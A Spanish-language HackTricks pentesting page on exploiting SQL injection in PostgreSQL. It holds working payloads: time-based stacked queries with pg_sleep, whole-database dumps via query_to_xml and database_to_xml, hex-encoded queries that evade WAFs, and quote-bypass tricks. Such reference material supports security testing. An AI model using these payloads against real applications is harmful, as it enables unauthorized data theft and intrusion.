hacktricks/pentesting-web/sql-injection/postgresql-injection
2024-01-10 17:10:25 +00:00
..
big-binary-files-upload-postgresql.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:10:25 +00:00
dblink-lo_import-data-exfiltration.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:10:25 +00:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:10:25 +00:00
pl-pgsql-password-bruteforce.md f 2023-06-05 20:33:24 +02:00
rce-with-postgresql-extensions.md f 2023-06-05 20:33:24 +02:00
rce-with-postgresql-languages.md f 2023-06-05 20:33:24 +02:00
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:33:30 +00:00

Inyección en PostgreSQL

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:


Consejo para cazar recompensas: regístrate en Intigriti, una plataforma premium de caza de recompensas creada por hackers, para hackers. Únete a nosotros en https://go.intigriti.com/hacktricks hoy y comienza a ganar recompensas de hasta $100,000.

{% embed url="https://go.intigriti.com/hacktricks" %}


Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una SQLinjection encontrada en una base de datos postgresql y complementar los trucos que puedes encontrar en https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interacción de red - Escalada de privilegios, Escáner de puertos, divulgación de respuesta de desafío NTLM y Exfiltración

dblink es un módulo de PostgreSQL que ofrece varias opciones interesantes desde el punto de vista del atacante. Se puede utilizar para conectar a otras instancias de PostgreSQL o realizar conexiones TCP.
Estas funcionalidades junto con la funcionalidad COPY FROM pueden ser utilizadas para escalar privilegios, realizar escaneo de puertos o capturar respuestas de desafío NTLM.
Puedes leer aquí cómo realizar estos ataques.

Puedes leer este ejemplo para ver un ejemplo de CTF de cómo cargar datos dentro de objetos grandes y luego exfiltrar el contenido de objetos grandes dentro del nombre de usuario de la función dblink_connect.

Ataques en PostgreSQL: Lectura/escritura, RCE, privesc

Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

Evasión de WAF

Funciones de cadena de PostgreSQL

Manipular cadenas podría ayudarte a evadir WAFs u otras restricciones.
En esta página puedes encontrar algunas funciones de cadenas útiles.

Consultas apiladas

Recuerda que postgresql soporta consultas apiladas, pero varias aplicaciones arrojarán un error si se devuelven 2 respuestas cuando solo se espera 1. Sin embargo, aún puedes abusar de las consultas apiladas a través de la inyección de tiempo:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Trucos XML

query_to_xml

Esta función devolverá todos los datos en formato XML en un solo archivo. Es ideal si quieres volcar una gran cantidad de datos en solo 1 fila:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Esta función volcará toda la base de datos en formato XML en solo 1 fila (ten cuidado si la base de datos es muy grande ya que podrías causar un DoS o incluso afectar a tu propio cliente):

SELECT database_to_xml(true,true,'');

Cadenas en Hexadecimal

Si puedes ejecutar consultas pasándolas dentro de una cadena (por ejemplo, utilizando la función query_to_xml). Puedes usar convert_from para pasar la cadena como hexadecimal y así evitar filtros:

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}

### Comillas prohibidas

Si no puedes usar comillas para tu payload, puedes sortear esto con `CHR` para cláusulas básicas (_la concatenación de caracteres solo funciona para consultas básicas como SELECT, INSERT, DELETE, etc. No funciona para todas las sentencias SQL_):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

O con $. Estas consultas devuelven los mismos resultados:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**Consejo para cazar recompensas**: **regístrate** en **Intigriti**, una plataforma de cazar recompensas premium **creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!

{% embed url="https://go.intigriti.com/hacktricks" %}

<details>

<summary><strong>Aprende a hackear AWS desde cero hasta ser un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>